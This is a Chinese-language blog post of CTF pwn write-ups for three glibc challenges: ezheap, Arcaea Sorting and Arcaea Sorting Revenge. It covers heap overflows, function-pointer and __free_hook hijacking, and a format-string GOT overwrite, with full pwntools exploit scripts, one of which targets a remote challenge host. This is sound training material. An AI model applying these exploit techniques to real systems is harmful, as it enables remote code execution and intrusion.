# ezheap 详细题解(Writeup)

# 一、题目信息

项目 内容
题目名称 ezheap
考点 堆溢出 + 函数指针劫持(无需 __free_hook
运行环境 glibc 2.23(Ubuntu 16.04,无 tcache)
靶机地址 node5.anna.nssctf.cn:27448
附件 ezheap (ELF 64-bit)、 libc-2.23.so

# 二、保护机制

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序开启了 PIE、Full RELRO、Canary、NX,无法直接改写 GOT 表,栈不可执行。由于堆上存在一个函数指针字段,本题思路是通过堆溢出劫持该函数指针为 system ,实现任意函数调用。


# 三、逆向分析

程序是一个菜单程序(banner 为 Easy Note. ),主菜单:

1
2
3
4
5
1.Add.
2.Delete.
3.Show.
4.Edit.
Choice:

# 3.1 全局数组

符号 地址 作用
sizelist 0x4060 记录每个 note 的 content 大小
heaplist 0x40e0 记录每个 note 结构体指针

# 3.2 结构体定义

add 中先 malloc(0x20) 作为结构体(实际 chunk 大小为 0x30 ),再 malloc(size) 作为内容。结构体布局如下:

1
2
3
4
5
6
7
struct note {
char name[16]; // +0x00 名称
char *content; // +0x10 内容指针
int flag; // +0x18 是否存在标志
char pad[4]; // +0x1c 对齐填充
void (*puts)(void *); // +0x20 函数指针,默认为 puts
}; // malloc(0x20) => 0x30 chunk

反汇编关键片段( add ):

1
2
3
4
5
; malloc(0x20) 结构体 -> heaplist[idx]
; malloc(size) 内容 -> [struct+0x10]
; 从 GOT 取 puts 真实地址填入函数指针
mov rdx, QWORD PTR [rip+0x2bf8] # 3fd8 <puts@GLIBC_2.2.5>
mov QWORD PTR [rax+0x20], rdx # struct->puts = puts

# 3.3 add(idx, size, name, content) —— 0x12e9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void add() {
int idx = getnum(); // "Input your idx:"
int size = getnum(); // "Size:"
if (size < 0 || size > 0x100) { puts("Invalid!"); return; }

note *n = malloc(0x20);
heaplist[idx] = n;
n->content = malloc(size);
n->puts = puts; // 函数指针默认 = puts
sizelist[idx] = size;

puts("Name: ");
read(0, n->name, 0x10); // 读 16 字节,无 '\0' 结尾!
puts("Content: ");
read(0, n->content, size);
n->flag = 1;
puts("Done!");
}

关键点name 固定读入 0x10 (16)字节,不会自动补 \0 。当 name 恰好 16 字节时,紧邻其后的 content 指针会与 name 连在一起被 puts 打印,产生信息泄露。

# 3.4 show(idx) —— 0x153b

1
2
3
4
5
6
7
8
9
void show() {
int idx = getnum();
if (idx < 0 || idx > 0xf) { puts("Error idx!"); return; }
note *n = heaplist[idx];
if (n == NULL) { puts("Error idx!"); return; }

n->puts(n); // 第一次调用:func_ptr(结构体)
n->puts(n->content); // 第二次调用:func_ptr(内容)
}

关键点show连续两次通过函数指针调用:

  1. func_ptr(struct) —— 参数为结构体指针( name 位于 +0x00 );
  2. func_ptr(struct->content) —— 参数为内容指针。

默认情况下 func_ptr = puts ,因此第一次调用相当于 puts(name) ,第二次相当于 puts(content)

反汇编中注意:两次调用都从 [struct+0x20] 取函数指针,参数分别取 struct[struct+0x10] (content)。

# 3.5 delete(idx) —— 0x162a

1
2
3
4
5
6
7
8
9
10
11
12
13
void delete() {
int idx = getnum();
if (idx < 0 || idx > 0x10) { puts("Error idx!"); return; }
note *n = heaplist[idx];
if (n->flag == 0) { puts("Error idx!"); return; }

free(n->content);
free(n);
sizelist[idx] = 0;
n->flag = 0;
n->content = 0;
heaplist[idx] = 0; // 指针置空,无 UAF
}

delete 释放 content 与结构体后会将指针置空、flag 置 0,逻辑较严谨。

# 3.6 edit(idx, size) —— 0x1756 (漏洞点)

1
2
3
4
5
6
7
8
9
10
void edit() {
int idx = getnum();
int size = getnum();
if (idx < 0 || idx > 0x10) { puts("Error idx!"); return; }
note *n = heaplist[idx];
if (n == NULL) { puts("Error idx!"); return; }
if (size > 0x100) { puts("Error idx!"); return; } // 只有上界检查

read(0, n->content, size); // 直接读 size 字节,无 flag 检查!
}

漏洞

  1. edit 没有检查 flag (即被 delete 后仍可 edit,但本题用不到 UAF);
  2. edit 读入 size 字节(最大 0x100 ),不校验 size 是否超过原 chunk 的大小,导致 堆溢出
  3. edit 没有 "Content:" 提示,直接 read

溢出起点是 content 的起始地址,通过控制 size 可以覆盖到相邻 chunk 的内容。


# 四、漏洞利用思路

由于结构体中自带一个函数指针 +0x20 ,我们只需要:

  1. 泄露堆地址 → 得到 content0 指针,从而推算出结构体地址;
  2. 泄露 libc 地址 → 把某个 note 的 content 指针重定向到「存放 puts 函数指针的地址」,用 show 打印出来;
  3. 劫持函数指针 → 覆盖 struct1name = "/bin/sh"func_ptr = system ,再 show(1) 触发 system("/bin/sh")

利用链路: edit 堆溢出 → 篡改相邻结构体字段 → show 的两次函数指针调用完成泄露与命令执行。


# 五、详细利用步骤

# 5.1 堆布局

先分配两个 0x20 的 note:

1
2
add(0, 0x20, b'A'*16, b'\x00'*0x20)
add(1, 0x20, b'B'*16, b'\x00'*0x20)

堆布局(每个结构体 / 内容 chunk 都是 0x30 ):

1
2
3
4
5
6
低地址
├── struct0 @ S0 (0x30)
├── content0 @ C0 = S0+0x30 (0x30)
├── struct1 @ C0+0x30 (0x30)
└── content1 @ C0+0x60 (0x30)
高地址

struct0 = C0 - 0x30struct1 = C0 + 0x30

# 5.2 第一步:泄露堆地址(content0)

show(0) 会调用 puts(struct0) 。由于 name 是 16 字节无 \0puts 会继续打印紧随其后的 content 指针( +0x10 ),直到遇到 \0

1
输出: "A"*16 + content0指针(6字节) + "\n"
1
2
3
4
show(0)
data = p.recvuntil(b'4.Edit.\n')
i = data.find(b'A'*16)
C0 = u64(data[i+16:i+22].ljust(8, b'\x00')) # content0 地址

# 5.3 第二步:泄露 libc 地址(puts)

利用 edit(0, 0x50, ...)content0 溢出到 struct1 ,把 struct1->content 改成 &struct0->puts (即 struct0+0x20 = C0-0x10 ),再 show(1)

1
2
3
payload = b'A'*0x30 + b'B'*0x10 + p64(C0 - 0x10) + p32(1) + b'C'*4
edit(0, 0x50, payload)
show(1)

溢出后 struct1 各字段:

1
2
3
4
struct1.name    = "B"*16            (C0+0x30)
struct1.content = C0-0x10 (C0+0x40) 指向 &struct0->puts
struct1.flag = 1 (C0+0x48)
struct1.pad = "C"*4 (C0+0x4c)

show(1) 的两次调用:

  1. puts(struct1) → 打印 "B"*16 + &struct0->puts 指针(6 字节)+ \n
  2. puts(struct1->content) = puts(&struct0->puts) → 打印真正的 puts 函数地址(6 字节)。

因此 puts 地址位于 "B"*16 之后偏移 16(名字) + 6(重定向指针) + 1(换行) = 23 处:

1
2
3
data = p.recvuntil(b'4.Edit.\n')
j = data.find(b'B'*16)
puts = u64(data[j+23:j+29].ljust(8, b'\x00')) # 真实 puts 地址

计算基址:

1
2
libc_base = puts - 0x6f6a0      # libc 2.23 的 puts 偏移
system = libc_base + 0x453a0 # libc 2.23 的 system 偏移

libc 版本判定puts 低 12 位为 0x6a0 ,glibc 2.18 与 2.23 都满足,仅凭一次 puts 泄露无法区分。可通过 unsorted bin 泄露 main_arena ,计算 main_arena - puts 的差值:2.23 为 0x3554d8 ,2.18 为 0x350108 。本题由附件 libc-2.23.so 确认使用 2.23,偏移如下:

符号 偏移
puts 0x6f6a0
system 0x453a0
"/bin/sh" 0x18ce57

# 5.4 第三步:劫持函数指针执行 system

再次 edit(0, 0x58, ...) 覆盖 struct1

1
2
3
payload2 = b'J'*0x30 + b'/bin/sh\x00' + b'X'*8 + p64(0) + p32(1) + b'Y'*4 + p64(system)
edit(0, 0x58, payload2)
show(1)

覆盖后 struct1

1
2
3
4
5
struct1.name    = "/bin/sh\0XXXXXXX"   (C0+0x30)  16 字节
struct1.content = 0 (C0+0x40)
struct1.flag = 1 (C0+0x48)
struct1.pad = "Y"*4 (C0+0x4c)
struct1.puts = system (C0+0x50) 函数指针被覆盖

此时 show(1) 的第一次调用:

1
n->puts(n);   // => system(struct1) => system("/bin/sh")

struct1 的起始地址( +0x00 )正好是 "/bin/sh\0" ,于是 system 收到参数 "/bin/sh"拿到 shell


# 六、完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'info'

HOST = 'node5.anna.nssctf.cn'
PORT = 27448

LIBC_PUTS = 0x6f6a0
LIBC_SYSTEM = 0x453a0 # system = puts - 0x2a300

def add(idx, size, name, content):
p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b'idx:', str(idx).encode())
p.sendlineafter(b'Size:', str(size).encode())
p.sendafter(b'Name:', name)
p.sendafter(b'Content:', content)

def edit(idx, size, data):
p.sendlineafter(b'Choice: ', b'4')
p.sendlineafter(b'idx:', str(idx).encode())
p.sendlineafter(b'Size:', str(size).encode())
p.send(data) # edit 没有 "Content:" 提示

def show(idx):
p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'idx:', str(idx).encode())

def attempt():
global p
p = remote(HOST, PORT)
p.timeout = 8

add(0, 0x20, b'A'*16, b'\x00'*0x20)
add(1, 0x20, b'B'*16, b'\x00'*0x20)

# 1) 堆泄露:show(0) -> "A"*16 + content0 指针
show(0)
data = p.recvuntil(b'4.Edit.\n')
i = data.find(b'A'*16)
C0 = u64(data[i+16:i+22].ljust(8, b'\x00'))
if not (0x550000000000 <= C0 < 0x580000000000):
p.close(); return False, f'bad heap leak {C0:#x}'

# 2) libc 泄露:溢出覆盖 struct1.content = &struct0.puts
edit(0, 0x50, b'A'*0x30 + b'B'*0x10 + p64(C0 - 0x10) + p32(1) + b'C'*4)
show(1)
data = p.recvuntil(b'4.Edit.\n')
j = data.find(b'B'*16)
puts = u64(data[j+23:j+29].ljust(8, b'\x00'))
if not (0x7e0000000000 <= puts < 0x800000000000) or (puts & 0xfff) != 0x6a0:
p.close(); return False, f'bad puts leak {puts:#x}'

system = puts - (LIBC_PUTS - LIBC_SYSTEM) # = puts - 0x2a300
log.success(f'C0={C0:#x} puts={puts:#x} system={system:#x}')

# 3) 覆盖 struct1:name="/bin/sh",func_ptr=system
payload2 = b'J'*0x30 + b'/bin/sh\x00' + b'X'*8 + p64(0) + p32(1) + b'Y'*4 + p64(system)
edit(0, 0x58, payload2)

# 4) 触发 system("/bin/sh")
show(1)
time.sleep(0.4)

p.sendline(b'echo __S__; /bin/ls -la /; /bin/cat /flag; echo __E__')
out = p.recvuntil(b'__E__', timeout=8)
print(out.decode('latin-1', errors='replace'))
return True, 'done'

for n in range(15):
try:
ok, msg = attempt()
if ok: break
except Exception as e:
log.warning(f'attempt {n}: {type(e).__name__}: {e}')
time.sleep(3.0)

# 七、踩坑记录

  1. name 无 \0 才能泄露add 读 name 用 read(0, n->name, 0x10) ,必须填满 16 字节,让 puts 越过 name 继续打印 content 指针。若填 \x00 会截断泄露。

  2. ASLR 低字节为 0x00 导致泄露截断:堆地址若其第 2 字节恰为 0x00 (概率约 1/16), puts 会提前截断,固定偏移解析出垃圾值。解决:对泄露结果做合法性校验(堆地址 0x55~0x57 、puts 地址 0x7e~0x80 且低 12 位为 0x6a0 ),非法则重连重试。

  3. puts 地址范围:64 位 Linux 下 libc 通常在 0x7f00... 附近,但 ASLR 偶尔会映射到 0x7efe... ,校验区间下界应放宽到 0x7e0000000000 ,否则会误丢弃合法泄露。

  4. edit"Content:" 提示:与 add 不同, editread(0, content, size) 直接读,交互时用 send 而非 sendafter

  5. 沙箱 /chroot 环境:拿到 shell 后 id 不存在、 /dev/null 重定向报 Permission denied 。读 flag 需用绝对路径 /bin/cat /flag ,且不要加 2>/dev/null

  6. 触发点show 第一次调用参数是结构体指针( +0x00 为 name),因此把 name 写成 "/bin/sh" 、函数指针写成 system ,即可 system("/bin/sh") ,无需另外布置参数。


# 八、Flag

1
nssctf{dsbuyh81e2781ey7ed8u8718278t1321}

# hectf_2024_Arcaea_Sorting 详细 Writeup

题目:Arcaea Sorting 计分系统 (32 位 ELF,PIE + Partial RELRO + NX, 无 canary)
漏洞:格式化字符串 (主)+ 栈溢出 (次)
利用:格式化字符串泄漏 libc → %hn 覆写 printf@GOTsystem → 触发 system("/bin/sh")


# 一、题目信息与保护机制

1
2
3
4
5
6
7
8
9
10
11
$ file pwn
pwn: ELF 32-bit LSB pie executable, Intel 80386, dynamically linked,
interpreter /lib/ld-linux.so.2, not stripped

$ checksec --file=pwn
Arch: i386-32-little
RELRO: Partial RELRO # GOT 可写
Stack: No canary found # 无 canary
NX: NX enabled # 栈不可执行
PIE: PIE enabled # 地址随机化
RUNPATH: b'.' # 从当前目录加载 libc.so.6

关键点:

  • 32 位 PIE: 所有代码 / 数据地址都要先泄漏基址。
  • Partial RELRO: .got.plt 可写,可以做 GOT 覆写。
  • NX 开启:不能直接跑 shellcode, 走 ret2libc / GOT hijack。
  • RUNPATH 为 . : 题目给的 libc.so.6 会被本地自动加载,偏移可以直接算。

# 二、程序逻辑

程序是一个 "Arcaea 查分器", main 里是一个菜单循环:

1
2
3
4
5
6
7
1. If the score is qualified, it will be stored in B30   -> setB30
2. Calculate single PTT -> calculateMusic
3. Calculate player PTT through b30 -> pttCalculate
4. Give your favorite song a vote -> vote
5. View voted songs -> output_vote
6. Output all content of b30 -> test
7. Exit the system -> exit

进入菜单前会先用 scanf("%f") 读一次你的 PTT, compare() 按分数段打印鼓励语 (输入 12.0 这种正常值即可,别触发 exit(0) )。

与漏洞相关的是两个函数:

# 2.1 vote() —— 写入全局 name

1
2
3
4
5
6
7
8
9
10
char name[0x100];   // 全局变量,位于 PIE 基址 + 0x5080
int votes; // 全局变量,限制最多投 3 次

void vote() {
if (votes > 2) { puts("you cannot cast anymore"); return; }
...
read(0, name, 0x60); // 读 0x60 字节进 name
printf("Your vote was for %s...", name);
votes++;
}

name 完全可控,每次投票写入 0x60 字节,最多 3 次。

# 2.2 output_vote() —— 格式化字符串 + 栈溢出

1
2
3
4
5
6
7
void output_vote() {
char buf[0x44];
if (!votes) { puts("You haven't voted yet"); return; }
puts("The name of the song you voted for is:");
strcpy(buf, name); // ① 栈溢出(buf 只有 0x44,name 最多 0x60)
printf(buf); // ② 格式化字符串漏洞(buf 被直接当 format!)
}

对应的关键汇编:

1
2
3
4
5
6
7
1ccc: lea  eax,[ebp-0x48]      ; buf
1ccf: push eax
1cd0: call strcpy ; strcpy(buf, name) ①
...
1cdb: lea eax,[ebp-0x48]
1cde: push eax
1cdf: call printf ; printf(buf) ②

两个漏洞:

  1. 栈溢出: bufebp-0x48 , 返回地址在 ebp+4 , 距离 76 字节; name 最长 96 字节,可溢出 20 字节 (本文解法没有用它)。
  2. 格式化字符串: printf(buf) , 而 buf 内容来自我们控制的 name这才是本题的核心

# 三、格式化字符串定位

先把 name 设成探测串,看 %p 能打到哪:

1
name = b"AAAA" + b".%p"*30

output_vote 输出:

1
2
AAAA.0x565b9080.0xff97b068.0x565b5ca0.0x41414141.0x2e70252e...
① ② ③ ④
  • ④ = 0x41414141 = "AAAA" , 说明栈缓冲的第 0 个 dword 是第 4 个参数 ( %4$ )。

于是把地址放在 name 开头,即可用 %4$s / %4$hn 去解引用 / 写入它。结构:

1
2
name = p32(目标地址) + 格式化串
└─ 成为 %4$ └─ 用 %4$s / %4$hn 引用它

# 四、泄漏地址 (第 1 次投票)

一次格式化字符串同时拿到两个基址:

1
name = b'%1$p.%31$p'
  • %1$p = 全局 name 的地址 = PIE基址 + 0x5080 → 算出 PIE 基址
  • %31$p = 栈上 main 的返回地址 (落回 libc 的 __libc_start_main 调用链) = libc基址 + 0x21519 → 算出 libc 基址

0x21519 这个偏移是通过 " 泄漏 %31$p 同时泄漏 printf@GOT 交叉验证 " 得到的,对该 libc 恒定:

1
2
3
4
%31$p = 0xf7d3c519
printf@GOT -> 0xf7d72a90 (printf 偏移 0x57a90)
libc_base = 0xf7d72a90 - 0x57a90 = 0xf7d1b000
0xf7d3c519 - 0xf7d1b000 = 0x21519 ✓

得到:

1
2
3
4
pie_base   = name_addr  - 0x5080
libc_base = arg31 - 0x21519
system = libc_base + 0x48170
printf_got = pie_base + 0x501c

# 五、覆写 printf@GOTsystem (第 2 次投票)

目标:把 printf@GOT (4 字节) 写成 system 的地址。用 %hn 分两次写 2 字节:

1
2
printf_got[0:2] = system & 0xffff        (低 2 字节)
printf_got[2:4] = (system >> 16) & 0xffff (高 2 字节)

构造 (两个目标地址放在最前,分别落到 %4$ / %5$ ):

1
2
3
4
5
6
7
low  = system & 0xffff
high = (system >> 16) & 0xffff
pad1 = (low - 8) & 0xffff # 前面两个地址字面量已打印 8 字节
pad2 = (high - low) & 0xffff

fmt = p32(printf_got) + p32(printf_got + 2) + \
('%%%dc%%4$hn%%%dc%%5$hn' % (pad1, pad2)).encode()

原理:

  • 先原样打印 8 字节 (两个地址)→ 已输出 8 个字符;
  • %{pad1}c 再补 pad1 个字符 → 当前已输出 8 + pad1 = low , 用 %4$hnlow 写到 printf_got ;
  • %{pad2}c 再补 pad2 个字符 → 当前输出 low + pad2 = high , 用 %5$hnhigh 写到 printf_got+2

此时 printf@GOT 已指向 system

整个 fmt 长度约 35 字节,远小于 buf 的 68 字节,不会触发栈溢出;且 printf_got (形如 0x565xxx1c ) 字节里没有 \x00 , strcpy 能完整复制。


# 六、触发 system("/bin/sh") (第 3 次投票)

现在 printf 已经被劫持成 system 。把 name 设成 /bin/sh , 再调一次 output_vote :

1
2
strcpy(buf, name);   // buf = "/bin/sh"
printf(buf); // 实际调用 system("/bin/sh") -> 拿到 shell!

注意:第 3 次投票时, vote() 内部也会调用 printf("Your vote was for %s...") , 它同样会被劫持成 system("Your vote was for %s...") —— 只是一条无害的命令报错,不影响流程。因此第 3 步定位输入时改用 puts 的文案 ( cast your valuable vote ) 而不是 printf 的文案来同步。


# 七、完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import re, time

context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'

SYSTEM_OFF = 0x48170 # system 偏移
LIBC_RET_OFF = 0x21519 # %31$p == libc_base + 0x21519
NAME_OFF = 0x5080 # 全局 name 相对 PIE 基址
PRINTF_GOT = 0x501c # printf@GOT 相对 PIE 基址

HOST = '' # 远程填这里
PORT = 0

def main():
if HOST:
p = remote(HOST, PORT)
else:
p = process('./pwn')

# 初始 PTT
p.recvuntil(b'tell me?')
p.sendline(b'12.0')
p.recvuntil(b'Exit the system')

# 第 1 票:泄漏 PIE + libc 基址
p.sendline(b'4')
p.recvuntil(b'(=_=!!!)')
p.sendline(b'%1$p.%31$p')
p.recvuntil(b'Exit the system')
p.sendline(b'5')
p.recvuntil(b'you voted for is:')
p.recv(1) # 换行
vals = re.findall(rb'0x[0-9a-f]+', p.recvuntil(b'======='))
name_addr = int(vals[0], 16)
arg31 = int(vals[1], 16)
pie_base = name_addr - NAME_OFF
libc_base = arg31 - LIBC_RET_OFF
system = libc_base + SYSTEM_OFF
printf_got = pie_base + PRINTF_GOT
log.info('pie_base = %#x' % pie_base)
log.info('libc_base = %#x' % libc_base)
log.info('system = %#x' % system)

# 第 2 票:printf@GOT -> system
low = system & 0xffff
high = (system >> 16) & 0xffff
pad1 = (low - 8) & 0xffff
pad2 = (high - low) & 0xffff
fmt = p32(printf_got) + p32(printf_got + 2) + \
('%%%dc%%4$hn%%%dc%%5$hn' % (pad1, pad2)).encode()
assert len(fmt) < 0x60
p.recvuntil(b'Exit the system')
p.sendline(b'4')
p.recvuntil(b'(=_=!!!)')
p.send(fmt)
p.recvuntil(b'Exit the system')
p.sendline(b'5')
p.recvuntil(b'you voted for is:')
p.recvuntil(b'Exit the system') # 吸收 %c 的大段空格

# 第 3 票:name = "/bin/sh" -> 触发 system("/bin/sh")
p.sendline(b'4')
p.recvuntil(b'cast your valuable vote')
p.sendline(b'/bin/sh')
p.recvuntil(b'Exit the system')
p.sendline(b'5')
p.recvuntil(b'you voted for is:')

time.sleep(0.3)
p.sendline(b'cat flag')
print(p.recvuntil(b'}', timeout=3).decode('latin1'))

if __name__ == '__main__':
main()

运行结果:

1
2
3
4
5
6
7
$ python3 exploit.py
[*] pie_base = 0x565f5000
[*] libc_base = 0xf7ca6000
[*] system = 0xf7cee170
[*] printf_got = 0x565fa01c

flag{testflag-jaliwd1684s-1a5s8da1-13as8d4984}

# 八、补充

  • evaluate() 隐藏函数 (未被菜单调用): 有 strcmp(input, "g01den") 的鉴权 + 一个 "读 count 字节" 的逻辑,属于干扰项;它本身没有明显溢出 (count 上限 0x100 正好等于缓冲区大小), 本题未用到。
  • 栈溢出: output_votestrcpy 可溢出 20 字节,理论上也能做 ret2libc / ROP, 但格式化字符串更直接、且一次能完成 "泄漏 + 覆写", 因此选择格式化字符串路线。
  • 只要换掉 HOST / PORT , 本地与远程逻辑一致 (ASLR 每次都变,但偏移恒定,脚本自动适配)。

# hectf_2024_Arcaea_Sorting_Revenge Writeup

# 一、题目信息

项目 内容
题目 hectf_2024_Arcaea_Sorting_Revenge
类型 堆溢出(heap overflow)
环境 glibc 2.23( ld-2.23.so ),64 位
保护 Full RELRO + Stack Canary + NX + PIE 全开
附件 pwn (主程序)、 libc.so.6ld-2.23.so

程序是一个 "音乐管理系统",通过菜单提供增删改查等功能。

1
2
3
4
5
6
7
8
=======Please select the following options to use the relevant functions========
1.Add a new music you want to record.
2.Delete a music from system.
3.Edit your music infomation,and delete all music's information.
4.Show all musics.
5.Reset your name.
6.Exit the system
>>

# 二、程序分析

# 2.1 数据结构

每次 add 都会 malloc(0x48) 分配一个结构体(chunk 大小 0x50 ),再 malloc(max_size) 分配 description。结构体布局如下(偏移相对 malloc 返回指针):

1
2
3
4
5
6
7
8
struct music {
char name[0x30]; // +0x00 名称
int index; // +0x30 下标
float rating; // +0x34 评分
int score; // +0x38 分数
int max_size; // +0x3c description 最大长度
char *desc; // +0x40 description 指针
};

全局 music_array 位于 bss(PIE 基址 + 0x202080 ),共 80 个指针。

# 2.2 关键函数

  • add0xaee ): malloc(0x48) 结构体 + malloc(max_size) description,依次 read / scanf 写入各字段。
  • delete0xd29 ): free(desc)free(struct) ,并清空指针(无 UAF)。
  • edit0xe0b ):漏洞点,见下。
  • show0xf26 ): printf("%s", desc) 打印 description。

# 2.3 漏洞点

edit 函数的逻辑:

1
2
3
4
5
scanf("%d", &index);
scanf("%d", &music[index]->max_size); // ① 修改 max_size
if (music[index] != NULL) {
read(0, music[index]->desc, music[index]->max_size); // ② 按新大小读入
}

关键问题:① 允许把 max_size 改成任意值,但 ② 的 read 直接写入原来的 description 指针,而这个缓冲区在 add 时只 malloc 了最初的 max_size 大小,并未重新分配

因此只要把 max_size 改大,再编辑 description,就能造成堆溢出,向相邻 chunk 越界写任意数据。

补充:程序用 setbuf(stdin, NULL) 关闭了标准 IO 缓冲, scanf 的 1 字节 pushback 分隔符不会被 read() 读到,因此 read() 总是从管道读新数据,交互上比较干净。

# 三、利用思路

由于全保护(Full RELRO 不能改 GOT,PIE 需要先泄露基址),采用经典的堆利用路线:

1
泄露 libc 基址 → 堆溢出劫持 desc 指针 → 任意写 __free_hook → 触发 system("/bin/sh")

# 3.1 泄露 libc 基址(unsorted bin 残留指针)

glibc 2.23 无 tcache, free 一个大于 fastbin 的 chunk 会进 unsorted bin,其 fd / bk 指向 main_arena

  1. add(0) :description 大小设为 0x100 (chunk 0x110 )。
  2. add(1) :占位,description 大小 0x20
  3. delete(0)0x110 chunk 进 unsorted bin, fd = bk = main_arena + 0x58
  4. add(2) :description 大小设为 0 。此时 malloc(0) 从 unsorted bin 的 0x110 chunk 上切下 0x20 一块返回,剩余部分留在 unsorted bin。切下的这一块其 fd / bk 仍保留着 main_arena 指针,而 read(0, desc, 0) 不写入任何数据。
  5. show()printf("%s", desc) 把残留的 fd 指针当字符串打出来(直到遇到 \x00 ,共 6 字节)。

实测得到:

1
leak = libc_base + 0x3c4c78

# 3.2 堆溢出劫持 desc 指针

堆布局上,依次 add 两个 music A、B,其内存顺序为 [S_A][D_A][S_B][D_B] ,即 A 的 description(D_A)紧邻 B 的结构体(S_B)

  • A、B 的 description 大小都设为 0x20 (chunk 0x30 )。
  • 溢出 D_A,覆写到 S_B,重点把 S_B->desc (偏移 +0x40 )改成 __free_hook 地址。

D_A 用户区到 S_B->desc 的偏移计算(D_A chunk 大小 0x30 ):

区间 大小 说明
D_A 用户区 0x20 填充
S_B prev_size 0x08 填充
S_B size 0x08 必须保留 0x51
S_B name 0x30 填充
index/rating/score/max_size 0x10 填充(max_size 置 8)
S_B desc 0x08 覆写为 __free_hook

溢出 payload:

1
2
3
4
5
6
payload  = b'A' * 0x20                       # D_A 用户区
payload += b'P' * 0x8 # S_B prev_size
payload += p64(0x51) # S_B size(保留)
payload += b'B' * 0x30 # S_B name
payload += p32(0) + p32(0) + p32(0) + p32(8) # index/rating/score/max_size
payload += p64(__free_hook) # S_B desc -> __free_hook

# 3.3 任意写 __free_hook

此时 S_B->desc 已指向 __free_hook ,再调用 edit(B)

1
2
scanf("%d", &music[B]->max_size);   // 写 8
read(0, music[B]->desc, 8); // 向 __free_hook 写 8 字节 = system

于是 __free_hook = system

# 3.4 触发 shell

add 一个 description 为 /bin/sh\x00 的 music,再 delete 它:

1
free(desc);  // desc = "/bin/sh"

glibc 2.23 中 free 开头检查 __free_hook ,非空则调用 __free_hook(mem) ,即 system("/bin/sh") ,拿到 shell。

# 四、关键偏移

符号 偏移
leak - libc_base 0x3c4c78
system 0x453a0
__free_hook 0x3c67a8
/bin/sh 0x18ce57

# 五、完整 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
LEAK_OFF = 0x3c4c78

def start():
if args.REMOTE:
return remote(args.HOST, int(args.PORT))
return process('./pwn')

def add(name, rating, score, maxsize, desc):
p.sendlineafter(b'>>', b'1')
p.sendafter(b"music's name:", name)
p.sendlineafter(b'rating:', str(rating).encode())
p.sendlineafter(b'score:', str(score).encode())
p.sendlineafter(b'max size:', str(maxsize).encode())
p.sendafter(b'descript:', desc)

def delete(idx):
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b'(index from 0) :', str(idx).encode())

def edit(idx, newsize, desc):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'(index from 0) :', str(idx).encode())
p.sendlineafter(b'change to:', str(newsize).encode())
p.sendafter(b'description:', desc)

p = start()
p.recvuntil(b'username:')
p.sendline(b'pwner')

# 1. 泄露 libc
add(b'A' * 0x2f + b'\n', 1.0, 1, 0x100, b'D0')
add(b'B' * 0x2f + b'\n', 2.0, 2, 0x20, b'MARK1')
delete(0)
add(b'C' * 0x2f + b'\n', 3.0, 3, 0, b'')

p.sendlineafter(b'>>', b'4')
p.recvuntil(b'description: ')
leak = p.recvuntil(b'\n', drop=True)
libc_base = u64(leak.ljust(8, b'\x00')) - LEAK_OFF
log.success('libc_base = %#x' % libc_base)

# 2. 构造溢出(D_A 紧邻 S_B)
add(b'A' * 0x2f + b'\n', 4.0, 4, 0x20, b'AAAA')
add(b'B' * 0x2f + b'\n', 5.0, 5, 0x20, b'BBBB')

# 3. 溢出 D_A 劫持 S_B.desc -> __free_hook
target = libc_base + free_hook
payload = b'A' * 0x20
payload += b'P' * 0x8
payload += p64(0x51)
payload += b'B' * 0x30
payload += p32(0) + p32(0) + p32(0) + p32(8)
payload += p64(target)
edit(2, len(payload), payload)

# 4. __free_hook = system
edit(3, 8, p64(libc_base + system))

# 5. free("/bin/sh") -> system("/bin/sh")
add(b'X' * 0x2f + b'\n', 6.0, 6, 8, b'/bin/sh\x00')
delete(4)

p.sendline(b'echo __BEGIN__; cat /flag 2>/dev/null; echo __END__')
print(p.recvuntil(b'__END__', timeout=5).decode(errors='replace'))

# 六、结果

1
2
3
4
5
6
[+] libc_base = 0x7f9dc666c000
[+] hijacked S_B.desc_ptr -> 0x7f9dc6a327a8
[+] __free_hook = system
__BEGIN__
flag{testflag-jaliwd1684s-1a5s8da1-13as8d4984}
__END__

# 七、小结

本题的核心考点是 edit 中 "只改 size 不重新分配" 导致的堆溢出。利用路径为:

  1. unsorted bin 残留指针泄露 libc(利用 read 长度为 0 不覆盖数据 + %s 打印残留 fd )。
  2. 堆溢出劫持相邻结构体的 desc 指针,获得任意地址读写。
  3. 覆写 __free_hooksystem ,最后 free("/bin/sh") 触发 RCE。

由于 glibc 2.23 无 tcache 检查,整个利用过程干净稳定。

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝